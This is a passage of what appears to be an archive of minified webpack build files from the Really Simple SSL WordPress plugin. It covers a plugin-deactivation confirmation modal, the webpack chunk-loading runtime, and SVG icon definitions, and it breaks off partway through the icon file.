really-simple-ssl/modal/build/433.7705e088a625e85f6d3d.js000064400000006620147510273070015753 0ustar00(globalThis.webpackChunkreally_simple_ssl_modal=globalThis.webpackChunkreally_simple_ssl_modal||[]).push([[433],{433:(e,t,r)=>{"use strict";r.r(t),r.d(t,{default:()=>p});var l=r(609),n=r(427),s=r(87),a=r(723),o=r(378),m=r.n(o);class c extends s.Component{constructor(e){super(e),this.state={hasError:!1,error:null,errorInfo:null},this.resetError=this.resetError.bind(this)}static getDerivedStateFromError(e){return{hasError:!0}}componentDidCatch(e,t){this.setState({error:e,errorInfo:t}),console.log("ErrorBoundary",e,t)}resetError(){this.setState({hasError:!1,error:null,errorInfo:null})}render(){return this.state.hasError?(0,l.createElement)("div",null,(0,l.createElement)("h1",null,"Something went wrong."),(0,l.createElement)("p",null,this.props.fallback),(0,l.createElement)("button",{onClick:this.resetError},"Try Again")):this.props.children}}c.propTypes={children:m().node,fallback:m().node};const i=c,p=({title:e,subTitle:t,currentStep:o,buttons:m,content:c,list:p,confirmAction:u,confirmText:d,alternativeAction:E,alternativeText:h,alternativeClassName:f,isOpen:g,setOpen:y,className:w})=>{const[_,b]=(0,s.useState)(null);let C="undefined"!=typeof rsssl_modal?rsssl_modal.plugin_url:rsssl_settings.plugin_url;f=f||"rsssl-warning",(0,s.useEffect)((()=>{_||Promise.all([r.e(161),r.e(291)]).then(r.bind(r,291)).then((({default:e})=>{b((()=>e))}))}));let T=w?" "+w:"";return wp.element.createElement(l.Fragment,null,g&&wp.element.createElement(l.Fragment,null,wp.element.createElement(i,{fallback:"Error loading modal"},wp.element.createElement(n.Modal,{className:"rsssl-modal"+T,shouldCloseOnClickOutside:!1,shouldCloseOnEsc:!1,title:e,onRequestClose:()=>y(!1),open:g},wp.element.createElement("div",{className:"rsssl-modal-body"},t&&wp.element.createElement("p",{dangerouslySetInnerHTML:{__html:t}}),c&&wp.element.createElement(l.Fragment,null,c),p&&_&&wp.element.createElement("ul",null,p.map(((e,t)=>wp.element.createElement("li",{key:t},wp.element.createElement(_,{name:e.icon,color:e.color}),e.text))))),wp.element.createElement("div",{className:"rsssl-modal-footer"},wp.element.createElement("div",{className:"rsssl-modal-footer-image"},wp.element.createElement("img",{className:"rsssl-logo",src:C+"assets/img/really-simple-security-logo.svg",alt:"Really Simple Security"})),wp.element.createElement("div",{className:"rsssl-modal-footer-buttons"},wp.element.createElement(n.Button,{onClick:()=>y(!1)},(0,a.__)("Cancel","really-simple-ssl")),m&&wp.element.createElement(l.Fragment,null,m),!m&&wp.element.createElement(l.Fragment,null,h&&wp.element.createElement(n.Button,{className:f,onClick:()=>E()},h),d&&wp.element.createElement(n.Button,{isPrimary:!0,onClick:()=>u()},d))))))))}},572:(e,t,r)=>{"use strict";var l=r(808);function n(){}function s(){}s.resetWarningCache=n,e.exports=function(){function e(e,t,r,n,s,a){if(a!==l){var o=new Error("Calling PropTypes validators directly is not supported by the `prop-types` package. Use PropTypes.checkPropTypes() to call them. Read more at http://fb.me/use-check-prop-types");throw o.name="Invariant Violation",o}}function t(){return e}e.isRequired=e;var r={array:e,bigint:e,bool:e,func:e,number:e,object:e,string:e,symbol:e,any:e,arrayOf:t,element:e,elementType:e,instanceOf:t,node:e,objectOf:t,oneOf:t,oneOfType:t,shape:t,exact:t,checkPropTypes:s,resetWarningCache:n};return r.PropTypes=r,r}},378:(e,t,r)=>{e.exports=r(572)()},808:e=>{"use strict";e.exports="SECRET_DO_NOT_PASS_THIS_OR_YOU_WILL_BE_FIRED"}}]);really-simple-ssl/modal/build/index.d6b3038dea3995c8535e.asset.php000064400000000205147510273070020107 0ustar00<?php return array('dependencies' => array('react', 'wp-components', 'wp-element', 'wp-i18n'), 'version' => 'd6b3038dea3995c8535e');
really-simple-ssl/modal/build/index.d6b3038dea3995c8535e.js000064400000015014147510273070016622 0ustar00(()=>{"use strict";var e,t,r={609:e=>{e.exports=window.React},427:e=>{e.exports=window.wp.components},87:e=>{e.exports=window.wp.element},723:e=>{e.exports=window.wp.i18n}},l={};function o(e){var t=l[e];if(void 0!==t)return t.exports;var n=l[e]={exports:{}};return r[e](n,n.exports,o),n.exports}o.m=r,o.n=e=>{var t=e&&e.__esModule?()=>e.default:()=>e;return o.d(t,{a:t}),t},o.d=(e,t)=>{for(var r in t)o.o(t,r)&&!o.o(e,r)&&Object.defineProperty(e,r,{enumerable:!0,get:t[r]})},o.f={},o.e=e=>Promise.all(Object.keys(o.f).reduce(((t,r)=>(o.f[r](e,t),t)),[])),o.u=e=>e+"."+{161:"a06823712424bb0f8054",291:"26a9269d87fda5210dac",433:"7705e088a625e85f6d3d"}[e]+".js",o.miniCssF=e=>e+".css",o.g=function(){if("object"==typeof globalThis)return globalThis;try{return this||new Function("return this")()}catch(e){if("object"==typeof window)return window}}(),o.o=(e,t)=>Object.prototype.hasOwnProperty.call(e,t),e={},t="really-simple-ssl-modal:",o.l=(r,l,n,i)=>{if(e[r])e[r].push(l);else{var a,s;if(void 0!==n)for(var c=document.getElementsByTagName("script"),d=0;d<c.length;d++){var m=c[d];if(m.getAttribute("src")==r||m.getAttribute("data-webpack")==t+n){a=m;break}}a||(s=!0,(a=document.createElement("script")).charset="utf-8",a.timeout=120,o.nc&&a.setAttribute("nonce",o.nc),a.setAttribute("data-webpack",t+n),a.src=r),e[r]=[l];var u=(t,l)=>{a.onerror=a.onload=null,clearTimeout(p);var o=e[r];if(delete e[r],a.parentNode&&a.parentNode.removeChild(a),o&&o.forEach((e=>e(l))),t)return t(l)},p=setTimeout(u.bind(null,void 0,{type:"timeout",target:a}),12e4);a.onerror=u.bind(null,a.onerror),a.onload=u.bind(null,a.onload),s&&document.head.appendChild(a)}},o.r=e=>{"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},(()=>{var e;o.g.importScripts&&(e=o.g.location+"");var t=o.g.document;if(!e&&t&&(t.currentScript&&(e=t.currentScript.src),!e)){var r=t.getElementsByTagName("script");if(r.length)for(var l=r.length-1;l>-1&&(!e||!/^http(s?):/.test(e));)e=r[l--].src}if(!e)throw new Error("Automatic publicPath is not supported in this browser");e=e.replace(/#.*$/,"").replace(/\?.*$/,"").replace(/\/[^\/]+$/,"/"),o.p=e})(),(()=>{if("undefined"!=typeof document){var e={57:0};o.f.miniCss=(t,r)=>{e[t]?r.push(e[t]):0!==e[t]&&{433:1}[t]&&r.push(e[t]=(e=>new Promise(((t,r)=>{var l=o.miniCssF(e),n=o.p+l;if(((e,t)=>{for(var r=document.getElementsByTagName("link"),l=0;l<r.length;l++){var o=(i=r[l]).getAttribute("data-href")||i.getAttribute("href");if("stylesheet"===i.rel&&(o===e||o===t))return i}var n=document.getElementsByTagName("style");for(l=0;l<n.length;l++){var i;if((o=(i=n[l]).getAttribute("data-href"))===e||o===t)return i}})(l,n))return t();((e,t,r,l,n)=>{var i=document.createElement("link");i.rel="stylesheet",i.type="text/css",o.nc&&(i.nonce=o.nc),i.onerror=i.onload=r=>{if(i.onerror=i.onload=null,"load"===r.type)l();else{var o=r&&r.type,a=r&&r.target&&r.target.href||t,s=new Error("Loading CSS chunk "+e+" failed.\n("+o+": "+a+")");s.name="ChunkLoadError",s.code="CSS_CHUNK_LOAD_FAILED",s.type=o,s.request=a,i.parentNode&&i.parentNode.removeChild(i),n(s)}},i.href=t,document.head.appendChild(i)})(e,n,0,t,r)})))(t).then((()=>{e[t]=0}),(r=>{throw delete e[t],r})))}}})(),(()=>{var e={57:0};o.f.j=(t,r)=>{var l=o.o(e,t)?e[t]:void 0;if(0!==l)if(l)r.push(l[2]);else{var n=new Promise(((r,o)=>l=e[t]=[r,o]));r.push(l[2]=n);var i=o.p+o.u(t),a=new Error;o.l(i,(r=>{if(o.o(e,t)&&(0!==(l=e[t])&&(e[t]=void 0),l)){var n=r&&("load"===r.type?"missing":r.type),i=r&&r.target&&r.target.src;a.message="Loading chunk "+t+" failed.\n("+n+": "+i+")",a.name="ChunkLoadError",a.type=n,a.request=i,l[1](a)}}),"chunk-"+t,t)}};var t=(t,r)=>{var l,n,[i,a,s]=r,c=0;if(i.some((t=>0!==e[t]))){for(l in a)o.o(a,l)&&(o.m[l]=a[l]);s&&s(o)}for(t&&t(r);c<i.length;c++)n=i[c],o.o(e,n)&&e[n]&&e[n][0](),e[n]=0},r=globalThis.webpackChunkreally_simple_ssl_modal=globalThis.webpackChunkreally_simple_ssl_modal||[];r.forEach(t.bind(null,0)),r.push=t.bind(null,r.push.bind(r))})(),(()=>{var e=o(609),t=o(87),r=o(723);const l=()=>{const[l,n]=(0,t.useState)(!1),[i,a]=(0,t.useState)(!1),[s,c]=(0,t.useState)(null),d=rsssl_modal.pro_plugin_active;(0,t.useEffect)((()=>{const e=d?"deactivate-really-simple-ssl-pro":"deactivate-really-simple-ssl",t=document.getElementById(e);c(t);const r=e=>{e.preventDefault(),n(!0)};return t&&t.addEventListener("click",r),()=>{t&&t.removeEventListener("click",r)}}),[d]),(0,t.useEffect)((()=>{!i&&l&&o.e(433).then(o.bind(o,433)).then((({default:e})=>{a((()=>e))}))}),[l,i]);const m=d?[{icon:"circle-times",color:"red",text:(0,r.__)("SSL Encryption","really-simple-ssl")},{icon:"circle-times",color:"red",text:(0,r.__)("Firewall","really-simple-ssl")},{icon:"circle-times",color:"red",text:(0,r.__)("Vulnerability Management","really-simple-ssl")},{icon:"circle-times",color:"red",text:(0,r.__)("WordPress Hardening","really-simple-ssl")},{icon:"circle-times",color:"red",text:(0,r.__)("Login Protection","really-simple-ssl")},{icon:"circle-times",color:"red",text:(0,r.__)("Two-Factor Authentication","really-simple-ssl")},{icon:"circle-times",color:"red",text:(0,r.__)("Limit Login Attempts","really-simple-ssl")},{icon:"circle-times",color:"red",text:(0,r.__)("Visitor Protection","really-simple-ssl")}]:[{icon:"circle-times",color:"red",text:(0,r.__)("SSL Encryption","really-simple-ssl")},{icon:"circle-times",color:"red",text:(0,r.__)("Vulnerability Management","really-simple-ssl")},{icon:"circle-times",color:"red",text:(0,r.__)("WordPress hardening","really-simple-ssl")}];return(0,e.createElement)(e.Fragment,null,i&&(0,e.createElement)(i,{title:(0,r.__)("Are you sure?","really-simple-ssl"),confirmText:(0,r.__)("Deactivate","really-simple-ssl"),confirmAction:()=>(n(!1),void(window.location.href=rsssl_modal.deactivate_keep_https)),alternativeText:(0,r.__)("Deactivate and use HTTP","really-simple-ssl"),alternativeAction:()=>(n(!1),void(s&&(window.location.href=s.getAttribute("href")))),alternativeClassName:"rsssl-modal-warning",content:(0,e.createElement)(e.Fragment,null,(0,r.__)("Please choose the correct deactivation method, and before you go; you will miss out on below and future features in Really Simple Security","really-simple-ssl"),d&&(0,e.createElement)(e.Fragment,null," ",(0,e.createElement)("b",null,"Pro")),"!"),list:m,isOpen:l,setOpen:n}))};document.addEventListener("DOMContentLoaded",(()=>{console.log("Adding event listener for deactivation modal...");const r=document.getElementById("rsssl-modal-root");r&&(t.createRoot?(0,t.createRoot)(r).render((0,e.createElement)(l,null)):(0,t.render)((0,e.createElement)(l,null),r))}))})()})();really-simple-ssl/modal/build/291.26a9269d87fda5210dac.js000064400000073265147510273070016110 0ustar00"use strict";(globalThis.webpackChunkreally_simple_ssl_modal=globalThis.webpackChunkreally_simple_ssl_modal||[]).push([[291],{291:(e,l,t)=>{t.r(l),t.d(l,{default:()=>r});var c=t(609),a=t(161);const s=React.forwardRef((function(e,l){const{name:t,color:a,size:s}=e,r=t||"bullet",i=a||"black",h=s||15,n={black:"var(--rsp-black)",green:"var(--rsp-green)",yellow:"var(--rsp-yellow)",orange:"var(--rsp-yellow)","red-faded":"var(--rsp-red-faded)",red:"var(--rsp-red)",grey:"var(--rsp-grey-400)","red-warning":"var(--rsp-red-faded)"};let m="";return"bullet"===r&&(m=(0,c.createElement)("svg",{"aria-hidden":"true",focusable:"false",role:"img",xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 512 512",height:h},(0,c.createElement)("path",{fill:n[i],d:"M512 256C512 397.4 397.4 512 256 512C114.6 512 0 397.4 0 256C0 114.6 114.6 0 256 0C397.4 0 512 114.6 512 256z"}))),"circle"===r&&(m=(0,c.createElement)("svg",{"aria-hidden":"true",focusable:"false",role:"img",xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 512 512",height:h},(0,c.createElement)("path",{fill:n[i],d:"M512 256C512 397.4 397.4 512 256 512C114.6 512 0 397.4 0 256C0 114.6 114.6 0 256 0C397.4 0 512 114.6 512 256zM256 48C141.1 48 48 141.1 48 256C48 370.9 141.1 464 256 464C370.9 464 464 370.9 464 256C464 141.1 370.9 48 256 48z"}))),"check"===r&&(m=(0,c.createElement)("svg",{"aria-hidden":"true",focusable:"false",role:"img",xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 512 512",height:h},(0,c.createElement)("path",{fill:n[i],d:"M512 256C512 397.4 397.4 512 256 512C114.6 512 0 397.4 0 256C0 114.6 114.6 0 256 0C397.4 0 512 114.6 512 256zM256 48C141.1 48 48 141.1 48 256C48 370.9 141.1 464 256 464C370.9 464 464 370.9 464 256C464 141.1 370.9 48 256 48z"}))),"warning"===r&&(m=(0,c.createElement)("svg",{"aria-hidden":"true",focusable:"false",role:"img",xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 512 512",height:h},(0,c.createElement)("path",{fill:n[i],d:"M506.3 417l-213.3-364c-16.33-28-57.54-28-73.98 0l-213.2 364C-10.59 444.9 9.849 480 42.74 480h426.6C502.1 480 522.6 445 506.3 417zM232 168c0-13.25 10.75-24 24-24S280 154.8 280 168v128c0 13.25-10.75 24-23.1 24S232 309.3 232 296V168zM256 416c-17.36 0-31.44-14.08-31.44-31.44c0-17.36 14.07-31.44 31.44-31.44s31.44 14.08 31.44 31.44C287.4 401.9 273.4 416 256 416z"}))),"error"===r&&(m=(0,c.createElement)("svg",{"aria-hidden":"true",focusable:"false",role:"img",xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 512 512",height:h},(0,c.createElement)("path",{fill:n[i],d:"M256 0C114.6 0 0 114.6 0 256s114.6 256 256 256s256-114.6 256-256S397.4 0 256 0zM232 152C232 138.8 242.8 128 256 128s24 10.75 24 24v128c0 13.25-10.75 24-24 24S232 293.3 232 280V152zM256 400c-17.36 0-31.44-14.08-31.44-31.44c0-17.36 14.07-31.44 31.44-31.44s31.44 14.08 31.44 31.44C287.4 385.9 273.4 400 256 400z"}))),"times"===r&&(m=(0,c.createElement)("svg",{"aria-hidden":"true",focusable:"false",role:"img",xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 320 512",height:h},(0,c.createElement)("path",{fill:n[i],d:"M310.6 361.4c12.5 12.5 12.5 32.75 0 45.25C304.4 412.9 296.2 416 288 416s-16.38-3.125-22.62-9.375L160 301.3L54.63 406.6C48.38 412.9 40.19 416 32 416S15.63 412.9 9.375 406.6c-12.5-12.5-12.5-32.75 0-45.25l105.4-105.4L9.375 150.6c-12.5-12.5-12.5-32.75 0-45.25s32.75-12.5 45.25 0L160 210.8l105.4-105.4c12.5-12.5 32.75-12.5 45.25 0s12.5 32.75 0 45.25l-105.4 105.4L310.6 361.4z"}))),"circle-check"===r&&(m=(0,c.createElement)("svg",{"aria-hidden":"true",focusable:"false",role:"img",xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 512 512",height:h},(0,c.createElement)("path",{fill:n[i],d:"M0 256C0 114.6 114.6 0 256 0C397.4 0 512 114.6 512 256C512 397.4 397.4 512 256 512C114.6 512 0 397.4 0 256zM371.8 211.8C382.7 200.9 382.7 183.1 371.8 172.2C360.9 161.3 343.1 161.3 332.2 172.2L224 280.4L179.8 236.2C168.9 225.3 151.1 225.3 140.2 236.2C129.3 247.1 129.3 264.9 140.2 275.8L204.2 339.8C215.1 350.7 232.9 350.7 243.8 339.8L371.8 211.8z"}))),"circle-times"===r&&(m=(0,c.createElement)("svg",{"aria-hidden":"true",focusable:"false",role:"img",xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 512 512",height:h},(0,c.createElement)("path",{fill:n[i],d:"M0 256C0 114.6 114.6 0 256 0C397.4 0 512 114.6 512 256C512 397.4 397.4 512 256 512C114.6 512 0 397.4 0 256zM175 208.1L222.1 255.1L175 303C165.7 312.4 165.7 327.6 175 336.1C184.4 346.3 199.6 346.3 208.1 336.1L255.1 289.9L303 336.1C312.4 346.3 327.6 346.3 336.1 336.1C346.3 327.6 346.3 312.4 336.1 303L289.9 255.1L336.1 208.1C346.3 199.6 346.3 184.4 336.1 175C327.6 165.7 312.4 165.7 303 175L255.1 222.1L208.1 175C199.6 165.7 184.4 165.7 175 175C165.7 184.4 165.7 199.6 175 208.1V208.1z"}))),"chevron-up"===r&&(m=(0,c.createElement)("svg",{"aria-hidden":"true",focusable:"false",role:"img",xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 448 512",height:h},(0,c.createElement)("path",{fill:n[i],d:"M416 352c-8.188 0-16.38-3.125-22.62-9.375L224 173.3l-169.4 169.4c-12.5 12.5-32.75 12.5-45.25 0s-12.5-32.75 0-45.25l192-192c12.5-12.5 32.75-12.5 45.25 0l192 192c12.5 12.5 12.5 32.75 0 45.25C432.4 348.9 424.2 352 416 352z"}))),"chevron-down"===r&&(m=(0,c.createElement)("svg",{"aria-hidden":"true",focusable:"false",role:"img",xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 448 512",height:h},(0,c.createElement)("path",{fill:n[i],d:"M224 416c-8.188 0-16.38-3.125-22.62-9.375l-192-192c-12.5-12.5-12.5-32.75 0-45.25s32.75-12.5 45.25 0L224 338.8l169.4-169.4c12.5-12.5 32.75-12.5 45.25 0s12.5 32.75 0 45.25l-192 192C240.4 412.9 232.2 416 224 416z"}))),"chevron-right"===r&&(m=(0,c.createElement)("svg",{"aria-hidden":"true",focusable:"false",role:"img",xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 320 512",height:h},(0,c.createElement)("path",{fill:n[i],d:"M96 480c-8.188 0-16.38-3.125-22.62-9.375c-12.5-12.5-12.5-32.75 0-45.25L242.8 256L73.38 86.63c-12.5-12.5-12.5-32.75 0-45.25s32.75-12.5 45.25 0l192 192c12.5 12.5 12.5 32.75 0 45.25l-192 192C112.4 476.9 104.2 480 96 480z"}))),"chevron-left"===r&&(m=(0,c.createElement)("svg",{"aria-hidden":"true",focusable:"false",role:"img",xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 320 512",height:h},(0,c.createElement)("path",{fill:n[i],d:"M224 480c-8.188 0-16.38-3.125-22.62-9.375l-192-192c-12.5-12.5-12.5-32.75 0-45.25l192-192c12.5-12.5 32.75-12.5 45.25 0s12.5 32.75 0 45.25L77.25 256l169.4 169.4c12.5 12.5 12.5 32.75 0 45.25C240.4 476.9 232.2 480 224 480z"}))),"plus"===r&&(m=(0,c.createElement)("svg",{"aria-hidden":"true",focusable:"false",role:"img",xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 512 512",height:h},(0,c.createElement)("path",{fill:n[i],d:"M432 256c0 17.69-14.33 32.01-32 32.01H256v144c0 17.69-14.33 31.99-32 31.99s-32-14.3-32-31.99v-144H48c-17.67 0-32-14.32-32-32.01s14.33-31.99 32-31.99H192v-144c0-17.69 14.33-32.01 32-32.01s32 14.32 32 32.01v144h144C417.7 224 432 238.3 432 256z"}))),"minus"===r&&(m=(0,c.createElement)("svg",{"aria-hidden":"true",focusable:"false",role:"img",xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 512 512",height:h},(0,c.createElement)("path",{fill:n[i],d:"M400 288h-352c-17.69 0-32-14.32-32-32.01s14.31-31.99 32-31.99h352c17.69 0 32 14.3 32 31.99S417.7 288 400 288z"}))),"sync"===r&&(m=(0,c.createElement)("svg",{"aria-hidden":"true",focusable:"false",role:"img",xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 512 512",height:h},(0,c.createElement)("path",{fill:n[i],d:"M483.515 28.485L431.35 80.65C386.475 35.767 324.485 8 256 8 123.228 8 14.824 112.338 8.31 243.493 7.971 250.311 13.475 256 20.301 256h28.045c6.353 0 11.613-4.952 11.973-11.294C66.161 141.649 151.453 60 256 60c54.163 0 103.157 21.923 138.614 57.386l-54.128 54.129c-7.56 7.56-2.206 20.485 8.485 20.485H492c6.627 0 12-5.373 12-12V36.971c0-10.691-12.926-16.045-20.485-8.486zM491.699 256h-28.045c-6.353 0-11.613 4.952-11.973 11.294C445.839 370.351 360.547 452 256 452c-54.163 0-103.157-21.923-138.614-57.386l54.128-54.129c7.56-7.56 2.206-20.485-8.485-20.485H20c-6.627 0-12 5.373-12 12v143.029c0 10.691 12.926 16.045 20.485 8.485L80.65 431.35C125.525 476.233 187.516 504 256 504c132.773 0 241.176-104.338 247.69-235.493.339-6.818-5.165-12.507-11.991-12.507z"}))),"sync-error"===r&&(m=(0,c.createElement)("svg",{"aria-hidden":"true",focusable:"false",role:"img",xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 512 512",height:h},(0,c.createElement)("path",{fill:n[i],d:"M256 79.1C178.5 79.1 112.7 130.1 89.2 199.7C84.96 212.2 71.34 218.1 58.79 214.7C46.23 210.5 39.48 196.9 43.72 184.3C73.6 95.8 157.3 32 256 32C337.5 32 408.8 75.53 448 140.6V104C448 90.75 458.7 80 472 80C485.3 80 496 90.75 496 104V200C496 213.3 485.3 224 472 224H376C362.7 224 352 213.3 352 200C352 186.7 362.7 176 376 176H412.8C383.7 118.1 324.4 80 256 80V79.1zM280 263.1C280 277.3 269.3 287.1 256 287.1C242.7 287.1 232 277.3 232 263.1V151.1C232 138.7 242.7 127.1 256 127.1C269.3 127.1 280 138.7 280 151.1V263.1zM224 352C224 334.3 238.3 319.1 256 319.1C273.7 319.1 288 334.3 288 352C288 369.7 273.7 384 256 384C238.3 384 224 369.7 224 352zM40 432C26.75 432 16 421.3 16 408V311.1C16 298.7 26.75 287.1 40 287.1H136C149.3 287.1 160 298.7 160 311.1C160 325.3 149.3 336 136 336H99.19C128.3 393 187.6 432 256 432C333.5 432 399.3 381.9 422.8 312.3C427 299.8 440.7 293 453.2 297.3C465.8 301.5 472.5 315.1 468.3 327.7C438.4 416.2 354.7 480 256 480C174.5 480 103.2 436.5 64 371.4V408C64 421.3 53.25 432 40 432V432z"}))),"shortcode"===r&&(m=(0,c.createElement)("svg",{"aria-hidden":"true",focusable:"false",role:"img",xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 448 512",height:h},(0,c.createElement)("path",{fill:n[i],d:"M128 32H32C14.4 32 0 46.4 0 64v384c0 17.6 14.4 32 32 32h96C145.7 480 160 465.7 160 448S145.7 416 128 416H64V96h64C145.7 96 160 81.67 160 64S145.7 32 128 32zM416 32h-96C302.3 32 288 46.33 288 63.1S302.3 96 319.1 96H384v320h-64C302.3 416 288 430.3 288 447.1S302.3 480 319.1 480H416c17.6 0 32-14.4 32-32V64C448 46.4 433.6 32 416 32z"}))),"file"===r&&(m=(0,c.createElement)("svg",{"aria-hidden":"true",focusable:"false",role:"img",xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 384 512",height:h},(0,c.createElement)("path",{fill:n[i],d:"M0 64C0 28.65 28.65 0 64 0H229.5C246.5 0 262.7 6.743 274.7 18.75L365.3 109.3C377.3 121.3 384 137.5 384 154.5V448C384 483.3 355.3 512 320 512H64C28.65 512 0 483.3 0 448V64zM336 448V160H256C238.3 160 224 145.7 224 128V48H64C55.16 48 48 55.16 48 64V448C48 456.8 55.16 464 64 464H320C328.8 464 336 456.8 336 448z"}))),"file-disabled"===r&&(m=(0,c.createElement)("svg",{"aria-hidden":"true",focusable:"false",role:"img",xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 640 512",height:h},(0,c.createElement)("path",{fill:n[i],d:"M639.1 487.1c0-7.119-3.153-14.16-9.191-18.89l-118.8-93.12l.0013-237.3c0-16.97-6.742-33.26-18.74-45.26l-74.63-74.64C406.6 6.742 390.3 0 373.4 0H192C156.7 0 128 28.65 128 64L128 75.01L38.82 5.11C34.41 1.672 29.19 0 24.04 0C10.19 0-.0002 11.3-.0002 23.1c0 7.12 3.153 14.16 9.192 18.89l591.1 463.1C605.6 510.3 610.8 512 615.1 512C629.8 512 639.1 500.6 639.1 487.1zM464 338.4l-287.1-225.7l-.002-48.51c0-8.836 7.164-16 15.1-16h160l-.0065 79.87c0 17.67 14.33 31.1 31.1 31.1L464 159.1V338.4zM448 463.1H192c-8.834 0-15.1-7.164-15.1-16L176 234.6L128 197L128 447.1c0 35.34 28.65 64 63.1 64H448c20.4 0 38.45-9.851 50.19-24.84l-37.72-29.56C457.5 461.4 453.2 463.1 448 463.1z"}))),"loading"===r&&(m=(0,c.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",focusable:"false",role:"img",xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 512 512",height:h},(0,c.createElement)("path",{fill:n[a],d:"M304 48c0-26.5-21.5-48-48-48s-48 21.5-48 48s21.5 48 48 48s48-21.5 48-48zm0 416c0-26.5-21.5-48-48-48s-48 21.5-48 48s21.5 48 48 48s48-21.5 48-48zM48 304c26.5 0 48-21.5 48-48s-21.5-48-48-48s-48 21.5-48 48s21.5 48 48 48zm464-48c0-26.5-21.5-48-48-48s-48 21.5-48 48s21.5 48 48 48s48-21.5 48-48zM142.9 437c18.7-18.7 18.7-49.1 0-67.9s-49.1-18.7-67.9 0s-18.7 49.1 0 67.9s49.1 18.7 67.9 0zm0-294.2c18.7-18.7 18.7-49.1 0-67.9S93.7 56.2 75 75s-18.7 49.1 0 67.9s49.1 18.7 67.9 0zM369.1 437c18.7 18.7 49.1 18.7 67.9 0s18.7-49.1 0-67.9s-49.1-18.7-67.9 0s-18.7 49.1 0 67.9z"}))),"file-download"===r&&(m=(0,c.createElement)("svg",{"aria-hidden":"true",focusable:"false",role:"img",xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 384 512",height:h},(0,c.createElement)("path",{fill:n[i],d:"M216 342.1V240c0-13.25-10.75-24-24-24S168 226.8 168 240v102.1L128.1 303C124.3 298.3 118.2 296 112 296S99.72 298.3 95.03 303c-9.375 9.375-9.375 24.56 0 33.94l80 80c9.375 9.375 24.56 9.375 33.94 0l80-80c9.375-9.375 9.375-24.56 0-33.94s-24.56-9.375-33.94 0L216 342.1zM365.3 93.38l-74.63-74.64C278.6 6.742 262.3 0 245.4 0H64C28.65 0 0 28.65 0 64l.0065 384c0 35.34 28.65 64 64 64H320c35.2 0 64-28.8 64-64V138.6C384 121.7 377.3 105.4 365.3 93.38zM336 448c0 8.836-7.164 16-16 16H64.02c-8.838 0-16-7.164-16-16L48 64.13c0-8.836 7.164-16 16-16h160L224 128c0 17.67 14.33 32 32 32h79.1V448z"}))),"calendar"===r&&(m=(0,c.createElement)("svg",{"aria-hidden":"true",focusable:"false",role:"img",xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 448 512",height:h},(0,c.createElement)("path",{fill:n[i],d:"M152 64H296V24C296 10.75 306.7 0 320 0C333.3 0 344 10.75 344 24V64H384C419.3 64 448 92.65 448 128V448C448 483.3 419.3 512 384 512H64C28.65 512 0 483.3 0 448V128C0 92.65 28.65 64 64 64H104V24C104 10.75 114.7 0 128 0C141.3 0 152 10.75 152 24V64zM48 448C48 456.8 55.16 464 64 464H384C392.8 464 400 456.8 400 448V192H48V448z"}))),"calendar-error"===r&&(m=(0,c.createElement)("svg",{"aria-hidden":"true",focusable:"false",role:"img",xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 576 512",height:h},(0,c.createElement)("path",{fill:n[i],d:"M151.1 64H296V24C296 10.75 306.7 0 320 0C333.3 0 344 10.75 344 24V64H384C419.3 64 448 92.65 448 128V192H47.1V448C47.1 456.8 55.16 464 63.1 464H284.5C296.7 482.8 312.5 499.1 330.8 512H64C28.65 512 0 483.3 0 448V128C0 92.65 28.65 64 64 64H104V24C104 10.75 114.7 0 128 0C141.3 0 152 10.75 152 24L151.1 64zM576 368C576 447.5 511.5 512 432 512C352.5 512 287.1 447.5 287.1 368C287.1 288.5 352.5 224 432 224C511.5 224 576 288.5 576 368zM432 416C418.7 416 408 426.7 408 440C408 453.3 418.7 464 432 464C445.3 464 456 453.3 456 440C456 426.7 445.3 416 432 416zM447.1 288C447.1 279.2 440.8 272 431.1 272C423.2 272 415.1 279.2 415.1 288V368C415.1 376.8 423.2 384 431.1 384C440.8 384 447.1 376.8 447.1 368V288z"}))),"help"===r&&(m=(0,c.createElement)("svg",{"aria-hidden":"true",focusable:"false",role:"img",xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 512 512",height:h},(0,c.createElement)("path",{fill:n[i],d:"M256 0C114.6 0 0 114.6 0 256s114.6 256 256 256s256-114.6 256-256S397.4 0 256 0zM256 400c-18 0-32-14-32-32s13.1-32 32-32c17.1 0 32 14 32 32S273.1 400 256 400zM325.1 258L280 286V288c0 13-11 24-24 24S232 301 232 288V272c0-8 4-16 12-21l57-34C308 213 312 206 312 198C312 186 301.1 176 289.1 176h-51.1C225.1 176 216 186 216 198c0 13-11 24-24 24s-24-11-24-24C168 159 199 128 237.1 128h51.1C329 128 360 159 360 198C360 222 347 245 325.1 258z"}))),"copy"===r&&(m=(0,c.createElement)("svg",{"aria-hidden":"true",focusable:"false",role:"img",xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 512 512",height:h},(0,c.createElement)("path",{fill:n[i],d:"M502.6 70.63l-61.25-61.25C435.4 3.371 427.2 0 418.7 0H255.1c-35.35 0-64 28.66-64 64l.0195 256C192 355.4 220.7 384 256 384h192c35.2 0 64-28.8 64-64V93.25C512 84.77 508.6 76.63 502.6 70.63zM464 320c0 